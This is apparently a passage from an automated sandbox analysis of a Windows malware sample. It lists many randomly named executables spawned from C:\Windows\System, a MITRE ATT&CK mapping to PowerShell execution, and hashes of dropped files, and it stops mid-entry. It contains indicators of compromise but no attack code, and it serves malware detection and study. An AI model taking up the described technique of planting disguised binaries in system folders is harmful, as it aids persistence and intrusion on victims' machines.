  C:\Windows\System\lLMgMtQ.exe
  2⤵
  PID:8512
- C:\Windows\System\CIIkoTg.exe
  C:\Windows\System\CIIkoTg.exe
  2⤵
  PID:8528
- C:\Windows\System\NLgyJPg.exe
  C:\Windows\System\NLgyJPg.exe
  2⤵
  PID:8544
- C:\Windows\System\MZLvZWR.exe
  C:\Windows\System\MZLvZWR.exe
  2⤵
  PID:8560
- C:\Windows\System\LfsxdJz.exe
  C:\Windows\System\LfsxdJz.exe
  2⤵
  PID:8576
- C:\Windows\System\PZWgxkf.exe
  C:\Windows\System\PZWgxkf.exe
  2⤵
  PID:8620
- C:\Windows\System\pEdYDEK.exe
  C:\Windows\System\pEdYDEK.exe
  2⤵
  PID:8636
- C:\Windows\System\BluQVNx.exe
  C:\Windows\System\BluQVNx.exe
  2⤵
  PID:8652
- C:\Windows\System\gTLzUOY.exe
  C:\Windows\System\gTLzUOY.exe
  2⤵
  PID:8668
- C:\Windows\System\PoEvHVc.exe
  C:\Windows\System\PoEvHVc.exe
  2⤵
  PID:8684
- C:\Windows\System\ddgUtDZ.exe
  C:\Windows\System\ddgUtDZ.exe
  2⤵
  PID:8700
- C:\Windows\System\atNKZmH.exe
  C:\Windows\System\atNKZmH.exe
  2⤵
  PID:8724
- C:\Windows\System\KoHEkAY.exe
  C:\Windows\System\KoHEkAY.exe
  2⤵
  PID:8740
- C:\Windows\System\GjJeWuG.exe
  C:\Windows\System\GjJeWuG.exe
  2⤵
  PID:8756
- C:\Windows\System\xGDfxxw.exe
  C:\Windows\System\xGDfxxw.exe
  2⤵
  PID:8772
- C:\Windows\System\PckpVEl.exe
  C:\Windows\System\PckpVEl.exe
  2⤵
  PID:8788
- C:\Windows\System\SZKLcJL.exe
  C:\Windows\System\SZKLcJL.exe
  2⤵
  PID:8804
- C:\Windows\System\gBAKjTp.exe
  C:\Windows\System\gBAKjTp.exe
  2⤵
  PID:8820
- C:\Windows\System\FaEsiFb.exe
  C:\Windows\System\FaEsiFb.exe
  2⤵
  PID:8836
- C:\Windows\System\JvXjeGB.exe
  C:\Windows\System\JvXjeGB.exe
  2⤵
  PID:8852
- C:\Windows\System\PRhemhN.exe
  C:\Windows\System\PRhemhN.exe
  2⤵
  PID:8868
- C:\Windows\System\gqOxBUI.exe
  C:\Windows\System\gqOxBUI.exe
  2⤵
  PID:8884
- C:\Windows\System\wQKKePw.exe
  C:\Windows\System\wQKKePw.exe
  2⤵
  PID:8900
- C:\Windows\System\nivrBBd.exe
  C:\Windows\System\nivrBBd.exe
  2⤵
  PID:8916
- C:\Windows\System\IoRkjRT.exe
  C:\Windows\System\IoRkjRT.exe
  2⤵
  PID:8932
- C:\Windows\System\ZWVhlVo.exe
  C:\Windows\System\ZWVhlVo.exe
  2⤵
  PID:8948
- C:\Windows\System\ZcNRKAt.exe
  C:\Windows\System\ZcNRKAt.exe
  2⤵
  PID:8964
- C:\Windows\System\KclhGUw.exe
  C:\Windows\System\KclhGUw.exe
  2⤵
  PID:8980
- C:\Windows\System\wRKFXEB.exe
  C:\Windows\System\wRKFXEB.exe
  2⤵
  PID:8996
- C:\Windows\System\MqHggLL.exe
  C:\Windows\System\MqHggLL.exe
  2⤵
  PID:9012
- C:\Windows\System\CkKfqkz.exe
  C:\Windows\System\CkKfqkz.exe
  2⤵
  PID:9028
- C:\Windows\System\aSucGlb.exe
  C:\Windows\System\aSucGlb.exe
  2⤵
  PID:9044
- C:\Windows\System\Hahhypt.exe
  C:\Windows\System\Hahhypt.exe
  2⤵
  PID:9060
- C:\Windows\System\OmEqGSj.exe
  C:\Windows\System\OmEqGSj.exe
  2⤵
  PID:9076
- C:\Windows\System\zjRJfhy.exe
  C:\Windows\System\zjRJfhy.exe
  2⤵
  PID:9092
- C:\Windows\System\DxXaoCd.exe
  C:\Windows\System\DxXaoCd.exe
  2⤵
  PID:9108
- C:\Windows\System\SopbsmG.exe
  C:\Windows\System\SopbsmG.exe
  2⤵
  PID:9124
- C:\Windows\System\TFJPeQr.exe
  C:\Windows\System\TFJPeQr.exe
  2⤵
  PID:9140
- C:\Windows\System\PmNXDnh.exe
  C:\Windows\System\PmNXDnh.exe
  2⤵
  PID:9156
- C:\Windows\System\qgCjRpE.exe
  C:\Windows\System\qgCjRpE.exe
  2⤵
  PID:9172
- C:\Windows\System\GifcKaZ.exe
  C:\Windows\System\GifcKaZ.exe
  2⤵
  PID:9188
- C:\Windows\System\ShQelhB.exe
  C:\Windows\System\ShQelhB.exe
  2⤵
  PID:9204
- C:\Windows\System\MFVUoof.exe
  C:\Windows\System\MFVUoof.exe
  2⤵
  PID:7500
- C:\Windows\System\qLxJTSW.exe
  C:\Windows\System\qLxJTSW.exe
  2⤵
  PID:8200
- C:\Windows\System\HTVYnRX.exe
  C:\Windows\System\HTVYnRX.exe
  2⤵
  PID:8236
- C:\Windows\System\YgREWBe.exe
  C:\Windows\System\YgREWBe.exe
  2⤵
  PID:8364
- C:\Windows\System\OxrOGjq.exe
  C:\Windows\System\OxrOGjq.exe
  2⤵
  PID:8368
- C:\Windows\System\EnnWpaI.exe
  C:\Windows\System\EnnWpaI.exe
  2⤵
  PID:8432
- C:\Windows\System\nhFWgRt.exe
  C:\Windows\System\nhFWgRt.exe
  2⤵
  PID:8472
- C:\Windows\System\fosIUTi.exe
  C:\Windows\System\fosIUTi.exe
  2⤵
  PID:8020
- C:\Windows\System\wHGmNXg.exe
  C:\Windows\System\wHGmNXg.exe
  2⤵
  PID:8220
- C:\Windows\System\bdQcoPb.exe
  C:\Windows\System\bdQcoPb.exe
  2⤵
  PID:8552
- C:\Windows\System\mnHsJuH.exe
  C:\Windows\System\mnHsJuH.exe
  2⤵
  PID:7956
- C:\Windows\System\xSJdoLA.exe
  C:\Windows\System\xSJdoLA.exe
  2⤵
  PID:4560
- C:\Windows\System\ierxbOO.exe
  C:\Windows\System\ierxbOO.exe
  2⤵
  PID:8252
- C:\Windows\System\IlLsJte.exe
  C:\Windows\System\IlLsJte.exe
  2⤵
  PID:8316
- C:\Windows\System\AxahHCA.exe
  C:\Windows\System\AxahHCA.exe
  2⤵
  PID:8388
- C:\Windows\System\SdwVVXj.exe
  C:\Windows\System\SdwVVXj.exe
  2⤵
  PID:8456
- C:\Windows\System\XZNXlqR.exe
  C:\Windows\System\XZNXlqR.exe
  2⤵
  PID:8524
- C:\Windows\System\kFRFKKV.exe
  C:\Windows\System\kFRFKKV.exe
  2⤵
  PID:8540
- C:\Windows\System\uYotggd.exe
  C:\Windows\System\uYotggd.exe
  2⤵
  PID:8600
- C:\Windows\System\xFdXEdX.exe
  C:\Windows\System\xFdXEdX.exe
  2⤵
  PID:8628
- C:\Windows\System\ryQcfFR.exe
  C:\Windows\System\ryQcfFR.exe
  2⤵
  PID:8664
- C:\Windows\System\oDepfBd.exe
  C:\Windows\System\oDepfBd.exe
  2⤵
  PID:8680
- C:\Windows\System\qRVFsAK.exe
  C:\Windows\System\qRVFsAK.exe
  2⤵
  PID:8708
- C:\Windows\System\PJbzRGg.exe
  C:\Windows\System\PJbzRGg.exe
  2⤵
  PID:8712
- C:\Windows\System\zJcnYVO.exe
  C:\Windows\System\zJcnYVO.exe
  2⤵
  PID:8748
- C:\Windows\System\yyCinyg.exe
  C:\Windows\System\yyCinyg.exe
  2⤵
  PID:8864
- C:\Windows\System\Prrneqb.exe
  C:\Windows\System\Prrneqb.exe
  2⤵
  PID:8924
- C:\Windows\System\kNoqaRm.exe
  C:\Windows\System\kNoqaRm.exe
  2⤵
  PID:8956
- C:\Windows\System\muQbUHk.exe
  C:\Windows\System\muQbUHk.exe
  2⤵
  PID:8908
- C:\Windows\System\HlveNBX.exe
  C:\Windows\System\HlveNBX.exe
  2⤵
  PID:8780
- C:\Windows\System\YdpUYEx.exe
  C:\Windows\System\YdpUYEx.exe
  2⤵
  PID:8960
- C:\Windows\System\zeBPrkU.exe
  C:\Windows\System\zeBPrkU.exe
  2⤵
  PID:9024
- C:\Windows\System\TAdREFq.exe
  C:\Windows\System\TAdREFq.exe
  2⤵
  PID:9008
- C:\Windows\System\uoJsOzx.exe
  C:\Windows\System\uoJsOzx.exe
  2⤵
  PID:9084
- C:\Windows\System\dGpOIMQ.exe
  C:\Windows\System\dGpOIMQ.exe
  2⤵
  PID:9072
- C:\Windows\System\klxicQW.exe
  C:\Windows\System\klxicQW.exe
  2⤵
  PID:9148
- C:\Windows\System\ALnyEHU.exe
  C:\Windows\System\ALnyEHU.exe
  2⤵
  PID:9104
- C:\Windows\System\XAElPuY.exe
  C:\Windows\System\XAElPuY.exe
  2⤵
  PID:9152
- C:\Windows\System\WGdSwlY.exe
  C:\Windows\System\WGdSwlY.exe
  2⤵
  PID:6608
- C:\Windows\System\nDZsDtU.exe
  C:\Windows\System\nDZsDtU.exe
  2⤵
  PID:8296
- C:\Windows\System\HpzPmFl.exe
  C:\Windows\System\HpzPmFl.exe
  2⤵
  PID:8404
- C:\Windows\System\PLxulDD.exe
  C:\Windows\System\PLxulDD.exe
  2⤵
  PID:7516
- C:\Windows\System\RANqdAZ.exe
  C:\Windows\System\RANqdAZ.exe
  2⤵
  PID:8068
- C:\Windows\System\KXUgoZA.exe
  C:\Windows\System\KXUgoZA.exe
  2⤵
  PID:8100
- C:\Windows\System\mlWzmUH.exe
  C:\Windows\System\mlWzmUH.exe
  2⤵
  PID:8348
- C:\Windows\System\bcFyMWB.exe
  C:\Windows\System\bcFyMWB.exe
  2⤵
  PID:8592
- C:\Windows\System\mYIhxoR.exe
  C:\Windows\System\mYIhxoR.exe
  2⤵
  PID:8660
- C:\Windows\System\KjinvKS.exe
  C:\Windows\System\KjinvKS.exe
  2⤵
  PID:8612
- C:\Windows\System\cVeifVz.exe
  C:\Windows\System\cVeifVz.exe
  2⤵
  PID:8572
- C:\Windows\System\keiIxIY.exe
  C:\Windows\System\keiIxIY.exe
  2⤵
  PID:8800
- C:\Windows\System\EKAREBF.exe
  C:\Windows\System\EKAREBF.exe
  2⤵
  PID:8736
- C:\Windows\System\GsqnTEu.exe
  C:\Windows\System\GsqnTEu.exe
  2⤵
  PID:8896
- C:\Windows\System\fdIRwye.exe
  C:\Windows\System\fdIRwye.exe
  2⤵
  PID:8880
- C:\Windows\System\hxMFLUO.exe
  C:\Windows\System\hxMFLUO.exe
  2⤵
  PID:8944
- C:\Windows\System\gMYMHtr.exe
  C:\Windows\System\gMYMHtr.exe
  2⤵
  PID:9120
- C:\Windows\System\GqgsAGJ.exe
  C:\Windows\System\GqgsAGJ.exe
  2⤵
  PID:9040
- C:\Windows\System\XAtVBel.exe
  C:\Windows\System\XAtVBel.exe
  2⤵
  PID:9200
- C:\Windows\System\EdzpqiC.exe
  C:\Windows\System\EdzpqiC.exe
  2⤵
  PID:8440
- C:\Windows\System\zKYbnCl.exe
  C:\Windows\System\zKYbnCl.exe
  2⤵
  PID:8504
- C:\Windows\System\wKAfgzV.exe
  C:\Windows\System\wKAfgzV.exe
  2⤵
  PID:8284
- C:\Windows\System\RUzALhO.exe
  C:\Windows\System\RUzALhO.exe
  2⤵
  PID:8752
- C:\Windows\System\efnAPMT.exe
  C:\Windows\System\efnAPMT.exe
  2⤵
  PID:8892
- C:\Windows\System\UDswtUn.exe
  C:\Windows\System\UDswtUn.exe
  2⤵
  PID:8644
- C:\Windows\System\acssbnS.exe
  C:\Windows\System\acssbnS.exe
  2⤵
  PID:6412
- C:\Windows\System\eMYypgU.exe
  C:\Windows\System\eMYypgU.exe
  2⤵
  PID:8300
- C:\Windows\System\bbRcZWB.exe
  C:\Windows\System\bbRcZWB.exe
  2⤵
  PID:8536
- C:\Windows\System\dBtiLph.exe
  C:\Windows\System\dBtiLph.exe
  2⤵
  PID:9168
- C:\Windows\System\cAFnTLD.exe
  C:\Windows\System\cAFnTLD.exe
  2⤵
  PID:8676
- C:\Windows\System\nZkZtlM.exe
  C:\Windows\System\nZkZtlM.exe
  2⤵
  PID:9100
- C:\Windows\System\QjpPLWX.exe
  C:\Windows\System\QjpPLWX.exe
  2⤵
  PID:8248
- C:\Windows\System\GGGTdTR.exe
  C:\Windows\System\GGGTdTR.exe
  2⤵
  PID:8940
- C:\Windows\System\xpexIGe.exe
  C:\Windows\System\xpexIGe.exe
  2⤵
  PID:9196
- C:\Windows\System\vUhsUrO.exe
  C:\Windows\System\vUhsUrO.exe
  2⤵
  PID:9224
- C:\Windows\System\ZwgDQpF.exe
  C:\Windows\System\ZwgDQpF.exe
  2⤵
  PID:9240
- C:\Windows\System\UAPOJEz.exe
  C:\Windows\System\UAPOJEz.exe
  2⤵
  PID:9256
- C:\Windows\System\rgtJXBb.exe
  C:\Windows\System\rgtJXBb.exe
  2⤵
  PID:9272
- C:\Windows\System\pQfsMex.exe
  C:\Windows\System\pQfsMex.exe
  2⤵
  PID:9288
- C:\Windows\System\aihhiZr.exe
  C:\Windows\System\aihhiZr.exe
  2⤵
  PID:9304
- C:\Windows\System\YYBBIlk.exe
  C:\Windows\System\YYBBIlk.exe
  2⤵
  PID:9320
- C:\Windows\System\ncJOVGt.exe
  C:\Windows\System\ncJOVGt.exe
  2⤵
  PID:9336
- C:\Windows\System\CKRBrta.exe
  C:\Windows\System\CKRBrta.exe
  2⤵
  PID:9352
- C:\Windows\System\KFaqrwV.exe
  C:\Windows\System\KFaqrwV.exe
  2⤵
  PID:9368
- C:\Windows\System\FirMNJI.exe
  C:\Windows\System\FirMNJI.exe
  2⤵
  PID:9384
- C:\Windows\System\JCpQBFw.exe
  C:\Windows\System\JCpQBFw.exe
  2⤵
  PID:9400
- C:\Windows\System\vLnvpTa.exe
  C:\Windows\System\vLnvpTa.exe
  2⤵
  PID:9416
- C:\Windows\System\HCuMFWi.exe
  C:\Windows\System\HCuMFWi.exe
  2⤵
  PID:9432
- C:\Windows\System\GEiibtr.exe
  C:\Windows\System\GEiibtr.exe
  2⤵
  PID:9448
- C:\Windows\System\NZkaWeZ.exe
  C:\Windows\System\NZkaWeZ.exe
  2⤵
  PID:9464
- C:\Windows\System\tRAmyiW.exe
  C:\Windows\System\tRAmyiW.exe
  2⤵
  PID:9480
- C:\Windows\System\CWDgmOL.exe
  C:\Windows\System\CWDgmOL.exe
  2⤵
  PID:9496
- C:\Windows\System\lBahXsW.exe
  C:\Windows\System\lBahXsW.exe
  2⤵
  PID:9512
- C:\Windows\System\ZGCXhRP.exe
  C:\Windows\System\ZGCXhRP.exe
  2⤵
  PID:9528
- C:\Windows\System\tGKuykp.exe
  C:\Windows\System\tGKuykp.exe
  2⤵
  PID:9548
- C:\Windows\System\tzEiDsk.exe
  C:\Windows\System\tzEiDsk.exe
  2⤵
  PID:9564
- C:\Windows\System\vIyTpVA.exe
  C:\Windows\System\vIyTpVA.exe
  2⤵
  PID:9580
- C:\Windows\System\gCpYTkO.exe
  C:\Windows\System\gCpYTkO.exe
  2⤵
  PID:9596
- C:\Windows\System\RBzNdlm.exe
  C:\Windows\System\RBzNdlm.exe
  2⤵
  PID:9612
- C:\Windows\System\sqICeKM.exe
  C:\Windows\System\sqICeKM.exe
  2⤵
  PID:9628
- C:\Windows\System\ycOgYIw.exe
  C:\Windows\System\ycOgYIw.exe
  2⤵
  PID:9648
- C:\Windows\System\tMZEkNU.exe
  C:\Windows\System\tMZEkNU.exe
  2⤵
  PID:9664
- C:\Windows\System\UDyGgyF.exe
  C:\Windows\System\UDyGgyF.exe
  2⤵
  PID:9680
- C:\Windows\System\XkAPSjH.exe
  C:\Windows\System\XkAPSjH.exe
  2⤵
  PID:9700
- C:\Windows\System\FVFQRtE.exe
  C:\Windows\System\FVFQRtE.exe
  2⤵
  PID:9716
- C:\Windows\System\okYNHdT.exe
  C:\Windows\System\okYNHdT.exe
  2⤵
  PID:9736
- C:\Windows\System\pEXFbVh.exe
  C:\Windows\System\pEXFbVh.exe
  2⤵
  PID:9752
- C:\Windows\System\ERLikJf.exe
  C:\Windows\System\ERLikJf.exe
  2⤵
  PID:9772
- C:\Windows\System\YjQOrtu.exe
  C:\Windows\System\YjQOrtu.exe
  2⤵
  PID:9792
- C:\Windows\System\XBiojcW.exe
  C:\Windows\System\XBiojcW.exe
  2⤵
  PID:9808
- C:\Windows\System\OpxkZnC.exe
  C:\Windows\System\OpxkZnC.exe
  2⤵
  PID:9824
- C:\Windows\System\LoHOQyc.exe
  C:\Windows\System\LoHOQyc.exe
  2⤵
  PID:9844
- C:\Windows\System\XdSxVBK.exe
  C:\Windows\System\XdSxVBK.exe
  2⤵
  PID:9860
- C:\Windows\System\VXXeRUI.exe
  C:\Windows\System\VXXeRUI.exe
  2⤵
  PID:9876
- C:\Windows\System\eScAhaD.exe
  C:\Windows\System\eScAhaD.exe
  2⤵
  PID:9896
- C:\Windows\System\XEOQfwM.exe
  C:\Windows\System\XEOQfwM.exe
  2⤵
  PID:9912
- C:\Windows\System\JPoYBmi.exe
  C:\Windows\System\JPoYBmi.exe
  2⤵
  PID:9928
- C:\Windows\System\zvSrfkE.exe
  C:\Windows\System\zvSrfkE.exe
  2⤵
  PID:9944
- C:\Windows\System\miEIKIR.exe
  C:\Windows\System\miEIKIR.exe
  2⤵
  PID:9960
- C:\Windows\System\QQTtuXn.exe
  C:\Windows\System\QQTtuXn.exe
  2⤵
  PID:9976
- C:\Windows\System\kUYNWUv.exe
  C:\Windows\System\kUYNWUv.exe
  2⤵
  PID:9992
- C:\Windows\System\DOPXdKE.exe
  C:\Windows\System\DOPXdKE.exe
  2⤵
  PID:10104
- C:\Windows\System\aVeclby.exe
  C:\Windows\System\aVeclby.exe
  2⤵
  PID:10208
- C:\Windows\System\vFCDdHM.exe
  C:\Windows\System\vFCDdHM.exe
  2⤵
  PID:10228
- C:\Windows\System\uedLCKO.exe
  C:\Windows\System\uedLCKO.exe
  2⤵
  PID:8216
- C:\Windows\System\AspxjgK.exe
  C:\Windows\System\AspxjgK.exe
  2⤵
  PID:9284
- C:\Windows\System\dWtlikU.exe
  C:\Windows\System\dWtlikU.exe
  2⤵
  PID:9268
- C:\Windows\System\qrVPgTJ.exe
  C:\Windows\System\qrVPgTJ.exe
  2⤵
  PID:9360
- C:\Windows\System\VYnPBQw.exe
  C:\Windows\System\VYnPBQw.exe
  2⤵
  PID:9332
- C:\Windows\System\USnflhj.exe
  C:\Windows\System\USnflhj.exe
  2⤵
  PID:9396
- C:\Windows\System\PtBCbWj.exe
  C:\Windows\System\PtBCbWj.exe
  2⤵
  PID:9444
- C:\Windows\System\lzkQczY.exe
  C:\Windows\System\lzkQczY.exe
  2⤵
  PID:9504
- C:\Windows\System\tnLQzac.exe
  C:\Windows\System\tnLQzac.exe
  2⤵
  PID:9456
- C:\Windows\System\HeKgxXK.exe
  C:\Windows\System\HeKgxXK.exe
  2⤵
  PID:9524
- C:\Windows\System\ighpsZw.exe
  C:\Windows\System\ighpsZw.exe
  2⤵
  PID:9576
- C:\Windows\System\kEUikIx.exe
  C:\Windows\System\kEUikIx.exe
  2⤵
  PID:9608
- C:\Windows\System\Ghoqsok.exe
  C:\Windows\System\Ghoqsok.exe
  2⤵
  PID:9672
- C:\Windows\System\BKzjwGQ.exe
  C:\Windows\System\BKzjwGQ.exe
  2⤵
  PID:9708
- C:\Windows\System\TadNUCY.exe
  C:\Windows\System\TadNUCY.exe
  2⤵
  PID:9660
- C:\Windows\System\sHKnTPu.exe
  C:\Windows\System\sHKnTPu.exe
  2⤵
  PID:9656
- C:\Windows\System\dYZwGPh.exe
  C:\Windows\System\dYZwGPh.exe
  2⤵
  PID:9724
- C:\Windows\System\UvCegGE.exe
  C:\Windows\System\UvCegGE.exe
  2⤵
  PID:9788
- C:\Windows\System\iqQrRDw.exe
  C:\Windows\System\iqQrRDw.exe
  2⤵
  PID:9852
- C:\Windows\System\kdzNFQr.exe
  C:\Windows\System\kdzNFQr.exe
  2⤵
  PID:8992
- C:\Windows\System\TUsESqW.exe
  C:\Windows\System\TUsESqW.exe
  2⤵
  PID:10036
- C:\Windows\System\KawnxHQ.exe
  C:\Windows\System\KawnxHQ.exe
  2⤵
  PID:10056
- C:\Windows\System\wwFEiIi.exe
  C:\Windows\System\wwFEiIi.exe
  2⤵
  PID:10080
- C:\Windows\System\OAZgLDV.exe
  C:\Windows\System\OAZgLDV.exe
  2⤵
  PID:10132
- C:\Windows\System\pCZHdon.exe
  C:\Windows\System\pCZHdon.exe
  2⤵
  PID:10144
- C:\Windows\System\YkJEotL.exe
  C:\Windows\System\YkJEotL.exe
  2⤵
  PID:10116
- C:\Windows\System\APhWjSQ.exe
  C:\Windows\System\APhWjSQ.exe
  2⤵
  PID:10164
- C:\Windows\System\JmHwIPn.exe
  C:\Windows\System\JmHwIPn.exe
  2⤵
  PID:10176
- C:\Windows\System\eEQAuyb.exe
  C:\Windows\System\eEQAuyb.exe
  2⤵
  PID:10220
- C:\Windows\System\VkgJnbn.exe
  C:\Windows\System\VkgJnbn.exe
  2⤵
  PID:10196
- C:\Windows\System\iddvtRp.exe
  C:\Windows\System\iddvtRp.exe
  2⤵
  PID:9248
- C:\Windows\System\TBkLTAn.exe
  C:\Windows\System\TBkLTAn.exe
  2⤵
  PID:9232
- C:\Windows\System\Rbufnov.exe
  C:\Windows\System\Rbufnov.exe
  2⤵
  PID:8488
- C:\Windows\System\OcRXNIH.exe
  C:\Windows\System\OcRXNIH.exe
  2⤵
  PID:9264
- C:\Windows\System\dprNjZg.exe
  C:\Windows\System\dprNjZg.exe
  2⤵
  PID:9440
- C:\Windows\System\jROoCSU.exe
  C:\Windows\System\jROoCSU.exe
  2⤵
  PID:9572
- C:\Windows\System\OkREEhi.exe
  C:\Windows\System\OkREEhi.exe
  2⤵
  PID:9692
- C:\Windows\System\umrlKCn.exe
  C:\Windows\System\umrlKCn.exe
  2⤵
  PID:9820
- C:\Windows\System\GKliABg.exe
  C:\Windows\System\GKliABg.exe
  2⤵
  PID:9872
- C:\Windows\System\XTiXSlY.exe
  C:\Windows\System\XTiXSlY.exe
  2⤵
  PID:9908
- C:\Windows\System\JVxKgqy.exe
  C:\Windows\System\JVxKgqy.exe
  2⤵
  PID:9804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BNMslXo.exe

Filesize
2.2MB

MD5
20f1f8a921e49c58970afc030d135510

SHA1
a1ff14d2712934d129c54eab7b285a1ce0a8c4cc

SHA256
fce568005788803146447bcfb59fd19109cc3995161c5cf36f7afbcf762fbb25

SHA512
1064d245c8ff5c5e46bcbffbc0f2b48c0456709d9ac96b2cb525fbf458df74733aa8172c89e3c9c6eec4f15dabeb90aada6a902430fa155687b22ac8129757aa

Download Submit
C:\Windows\system\DGEpRjP.exe

Filesize
2.2MB

MD5
b4a4346fb9b057108608466c51a9b2a2

SHA1
6c7bee9b8e46571bb0e9bf0583be1130ec8ca84c

SHA256
6cab40154bfd25fd5ba8bf12231df482df3618ecd9d690ca713b10f369456003

SHA512
8c5f7f16cbd5e7598474b85d3bc842b66157e75f6d2c84d4203678e355649c05e01360e4970fe25c41a41b3c107af49c6d116d9f5121216bbb2115b8ee02bbce

Download Submit
C:\Windows\system\DlOEkxR.exe

Filesize
2.2MB

MD5
32874f8f125dbaff6bd7bc819a3d8476

SHA1
77e291ae7a29eccbeaea7ef459aefd7a4bf0b36e

SHA256
f4e347d0264c439398c276c39ad2b49f3e90eefc81053990a67f2d42cddb24a5

SHA512
b5c936aa65f53dcc7e4763c9771a4eaf1ef59da8a701c85bed75776ec403fcb7ca34df9a05aaff8cd69feb4d6af132585a86b76a99b9da4b5333284252aa42d2

Download Submit
C:\Windows\system\FcAvsSi.exe

Filesize
2.2MB

MD5
e0dee1f0bdd400802c4ae392ea1cf1ab

SHA1
ff40429f8db0ffbbe628a166ff28abbe212bf9b1

SHA256
836f349e68ae8b57dab64ad73b6d0de3d12aef37d842b02ceab731f9c4853b39

SHA512
a671f728d4c9012a7a9d15c8d7045a4926ddab10367d28f340425c6b1edbfde37ca30e17504f25fe199c9ee663883e33f891a62d0b3ccd4004d31cb910373bad

Download Submit
C:\Windows\system\GZyzKJl.exe

Filesize
2.2MB

MD5
6fa6f198b75f2d131082884a8f1b2977

SHA1
e63c124658ee45c0c8401cee2318e78cf1f0c79a

SHA256
5dccea543a740d4db7a624433fd793268a6a0cf47e3817cf6eaa9d5225b44732

SHA512
2f8591a0aa63b0eeaf349ae3069bd846a14c1bf56b7e15768155b7d2abba20206e6170618612bc9e99f20f1731b0f0fcf9c83962430b6443fbc4d42a0eb3b8f1

Download Submit
C:\Windows\system\JRiVxQP.exe

Filesize
2.2MB

MD5
8fd4bd6f01c0948bd1f95bfac817d38f

SHA1
4e38340f697b53888951fc320507b4fc639f1292

SHA256
265656ba103409b5d60dff352936e44f63fda2235fe4955b58f70b64e563591e

SHA512
315a36fa159bff15418fb3de77f59453f3a4ce00784e50f3f27a527002307bbdd928df5eebf25438d001ff946065aef4c3f1c91baf073ad01a31faa019345b1e

Download Submit
C:\Windows\system\MJbQRLf.exe

Filesize
2.2MB

MD5
ffdbf67aabefd8b5da17223cf69b78af

SHA1
1d1a2f688cb83c03a3c1dbe7a1ed32c78f1584e6

SHA256
5c21dbb41c970388eecf16d10937ca40d899f09121311da1f2fa0e108b8a1a10

SHA512
0a9cd312928060e654ce0b5a10d5e9581ff2d3daf78f9863fb20b25113e66ce7dbf1d8c2fc181735e2058ca414e49407b1fbe51cbb7c90a0831bc1fafddb0a22

Download Submit
C:\Windows\system\ScnlVYy.exe

Filesize
2.2MB

MD5
256830f9c8394edc4a62ac1032b4968c

SHA1
d739284d6b74d2d3c1bf7abf7869ee765286faca

SHA256
788ed395869aa0bb45b15120e3dbcd579ace323a44176d50b8e7e479b14050b7

SHA512
8efb3e720523fa44c062d8b31c9b0d693e7a1db0e7c21750d0367ddb15fc3e5ab03220ba7bf6178a7cde43f8a8e063c6065848333548fba2ee6aa11da2c19174

Download Submit
C:\Windows\system\bFEHTvs.exe

Filesize
2.2MB

MD5
35d416c0f9fe0626c0b838ee6f0fb575

SHA1
5ccdb77db7476d9d8f122dcdc3766634adf15181

SHA256
6ac4421821c5f1078a7aa420a4048c8f4a65bcad3f3a73bd48c1da8edf7725cf

SHA512
8924061fcb8c6a5ac3c6d590e228c693692b3d9e4b4b19859996eb510a10ed377c572640743266c480bf045e6c515439dbf7d5a6f393b3c5ad1439b7e591ebad

Download Submit
C:\Windows\system\cQUFqCr.exe

Filesize
2.2MB

MD5
c202cc7a4d47496f0ad43d26d3332e3f

SHA1
e0efbfbe31177b699008a55773177f6061e7bf48

SHA256
8a20295410432e1a6e447874dd0ca75a5c1cb74ea22b03aa0dc9a5f47ce565a5

SHA512
9ff28ca27f0100549aeaaeb45d80861c06fc59828bb4fc345c33ac4b3538740802d5d185b4ef227d2624fb8979ac1085f38613f7ca3ae8096879d6650c93ab68

Download Submit
C:\Windows\system\cRbYLWx.exe

Filesize
2.2MB

MD5
54ca3c25793ddb548998c4a0feed1a33

SHA1
cdf06c68d968f6e35c5231dde0dc3e876dea30f4

SHA256
ea51ed373d384a85cba2feb3b0d4d339042471fd6175b940adeb0e725cc69e3a

SHA512
bba6e204bf4b258623d55601dcbe31137a802ebf23a68faeea2fc94a384b6c725f3a3fd97089933508b84e1a80ece763fa0be56692c718547d5cbe343b29954a

Download Submit
C:\Windows\system\lAFPxRe.exe

Filesize
2.2MB

MD5
14e9ae6bb2782d85298d182b27bb78e1

SHA1
f5ca65d7bf7191bef9b8a359630d11831d306ec5

SHA256
fb22edc98cf79df4390b422a882caf0b78c166105cafd2f35bb9be65aa5c9afc

SHA512
c777b2aebe04eee76a07001f3fd292c512fe85baef61f5d407ee4df364dbfa24930a49650d55a00c09fee1803d839610bb717f40f337211a0e9cbcd6fad5c0d8

Download Submit
C:\Windows\system\lkLLEmT.exe

Filesize
2.2MB

MD5
43e3a373bdbb2949adc8257082099c3d

SHA1
801edd06baff4478b03070ca0aefcb1569d454a5

SHA256
90ad7bd6bcde7cef872f4223c87d9f6b0f7ae6d50c602902507536bd1961eb27

SHA512
d783776022bdba958aa68143f1d9130265b05f901c789759a71c75464d394b7e894ce5af18987e2daa1c3bc6344491198ec5db38932e169072948eb48a49af39

Download Submit
C:\Windows\system\mAnjmdq.exe

Filesize
2.2MB

MD5
79a8247ae9251a26e01587c0a05b46eb

SHA1
37256a13d2e1cd0c27d78f41e72f7a0f418774d5

SHA256
b003e842f580cc5f04cac23a2542f190ee3b818db80766f7877fd15c54ca71f6

SHA512
edcae69ccd68a82bbe53fa76d6ad49f4bc95de37dae4ba7e9e8d1c9ae211873fb0f4dff8ebc6584b8dd9d395f75cd5011eb769971339e978b28057af1c6584ed

Download Submit
C:\Windows\system\mhjdQpf.exe

Filesize
2.2MB

MD5
69065174510af1ad054eb5ebfa8e66a6

SHA1
2b57e1762b8f02ea1e53aba78e2d716bfb5729ef

SHA256
40337dbe56b14c925662aa605d220c718e52ef9c416d206d4fa0a7e933ceb066

SHA512
16c00ebbf9c09897a2a57f162da3875f57da962b9d609af824e893029b7d9295fb4bddd8bdafa2f828aa82cffda307aae20c5e61b9591a32c61ba80ffbb24027

Download Submit
C:\Windows\system\oZaUgXn.exe

Filesize
2.2MB

MD5
b1a94c554c330c6dfe28d12a3e1e054d

SHA1
bd2f3ee5739ea2745427fcb7601b9c132c4c80ea

SHA256
5dcfd7697e28f02bb485f84cbdd51a41869ad6b05d7eb56636a6cdfe53b195b2

SHA512
